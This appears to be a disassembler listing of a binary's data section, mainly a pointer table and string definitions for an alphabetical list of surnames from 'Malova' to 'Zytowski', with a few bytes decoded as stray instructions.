		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		db 0F8h
; ---------------------------------------------------------------------------

loc_42E1A1:				; CODE XREF: ___:0042E1A8j
		test	dword ptr [edx+0], offset aMontilio ; "Montilio"
		loopne	loc_42E1A1
		inc	edx
		add	al, bl
		test	dword ptr [edx+0], offset aMoreton ; "Moreton"
; ---------------------------------------------------------------------------
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
; ---------------------------------------------------------------------------
		clc
		jmp	short loc_42E721
; ---------------------------------------------------------------------------
		align 10h
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E731
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-4FFFBD15h], bh
		jmp	short loc_42E741
; ---------------------------------------------------------------------------
		align 10h
		test	al, 0EBh
		inc	edx
		add	[eax-6BFFBD15h], ah
		jmp	short loc_42E74D
; ---------------------------------------------------------------------------
		align 4
		mov	ebx, gs
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E759
; ---------------------------------------------------------------------------
		align 4
		dd offset aUrban	; "Urban"
; ---------------------------------------------------------------------------
		pusha
		jmp	short near ptr loc_42E760+1
; ---------------------------------------------------------------------------
		align 10h
		pop	eax

loc_42E721:				; CODE XREF: ___:0042E6DDj
		jmp	short loc_42E765
; ---------------------------------------------------------------------------
		align 4
		dd offset aUzuner	; "Uzuner"
; ---------------------------------------------------------------------------
		dec	eax
		jmp	short loc_42E76D
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 38h
; ---------------------------------------------------------------------------

loc_42E731:				; CODE XREF: ___:0042E6EDj
		jmp	short loc_42E775
; ---------------------------------------------------------------------------
		align 4
		sub	al, 0EBh
		inc	edx
		add	[ebx+ebp*8], ah
		inc	edx
		add	[eax], bl
		jmp	short near ptr byte_42E781
; ---------------------------------------------------------------------------
		align 10h
		db 10h
; ---------------------------------------------------------------------------

loc_42E741:				; CODE XREF: ___:0042E6FDj
		jmp	short loc_42E785
; ---------------------------------------------------------------------------
		align 4
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		db 0F0h
; ---------------------------------------------------------------------------

loc_42E74D:				; CODE XREF: ___:0042E709j
		jmp	far ptr	42h:0EAE00042h
; ---------------------------------------------------------------------------
		aam	0EAh
		inc	edx
		add	al, cl

loc_42E759:				; CODE XREF: ___:0042E715j
		jmp	far ptr	42h:0EAC00042h
; ---------------------------------------------------------------------------

loc_42E760:				; CODE XREF: ___:0042E71Dj
		mov	eax, 0AC0042EAh

loc_42E765:				; CODE XREF: ___:loc_42E721j
		jmp	far ptr	42h:0EAA00042h
; ---------------------------------------------------------------------------
		xchg	eax, esp

loc_42E76D:				; CODE XREF: ___:0042E729j
		jmp	far ptr	42h:0EA880042h
; ---------------------------------------------------------------------------
		db 7Ch
; ---------------------------------------------------------------------------

loc_42E775:				; CODE XREF: ___:loc_42E731j
		jmp	far ptr	42h:0EA700042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		db 60h
byte_42E781	db 0EAh, 42h, 0		; CODE XREF: ___:0042E73Dj
; ---------------------------------------------------------------------------
		pop	eax

loc_42E785:				; CODE XREF: ___:loc_42E741j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E868o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E864o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E860o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E85Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E858o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E854o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E850o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E84Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E848o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E844o
aYu		db 'Yu',0               ; DATA XREF: ___:0042E840o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E83Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E838o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E834o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E830o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E82Co
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E828o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E824o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042E820o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E81Co
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E818o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E814o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E810o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E80Co
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E808o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E804o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E800o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7FCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7F8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7F4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7F0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7ECo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7E8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7E4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7DCo
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7D8o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E7D4o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E7D0o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E7CCo
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E7C8o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E7C4o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E7C0o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E7BCo
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E7B8o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E7B4o
aViano		db 'Viano',0            ; DATA XREF: ___:0042E7B0o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042E7ACo
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E7A8o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E7A4o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E7A0o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E79Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E798o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E794o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E790o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E78Co
		align 10h
aVenne		db 'Venne',0
		align 4
aWengret	db 'Wengret',0
aWelsh		db 'Welsh',0
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E77Co
		align 10h
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 4
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 10h
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 4
aWaugh		db 'Waugh',0
		align 10h
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0
		align 4
aWarshafsky	db 'Warshafsky',0
		align 10h
aVanheeckeren	db 'Vanheeckeren',0
		align 10h
aVandenberg	db 'Vandenberg',0
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E748o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042E744o
		align 10h
aWalter		db 'Walter',0
		align 4
aWallenberg	db 'Wallenberg',0
		align 4
aWales		db 'Wales',0
		align 4
aValencia	db 'Valencia',0
		align 4
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E72Co
		align 4
aVacca		db 'Vacca',0
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042E724o
		align 4
aUsdan		db 'Usdan',0
		align 10h
aUrdangBrown	db 'Urdang-Brown',0
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: ___:0042E718o
		align 4
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 10h
aTwells		db 'Twells',0
		align 4
aTuttle		db 'Tuttle',0
		align 10h
aTurek		db 'Turek',0
		align 4
aTurano		db 'Turano',0
		align 10h
aTukan		db 'Tukan',0
		align 4
aTudge		db 'Tudge',0
		align 10h
aTuck		db 'Tuck',0
		align 4
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042E6E4o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042E6E0o
aTruss		db 'Truss',0
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: ___:0042E6D8o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042E6D4o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042E6D0o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E6CCo
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E6C8o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E6C4o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042E6C0o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E6BCo
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E6B8o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E6B4o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E6B0o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E6ACo
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E6A8o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E6A4o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E6A0o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E69Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E698o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E694o
aTill		db 'Till',0             ; DATA XREF: ___:0042E690o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E68Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E688o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E684o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E680o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E67Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E678o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E674o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E670o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E66Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E668o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E664o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E660o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E65Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E658o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E654o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E650o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E64Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E648o
		align 10h
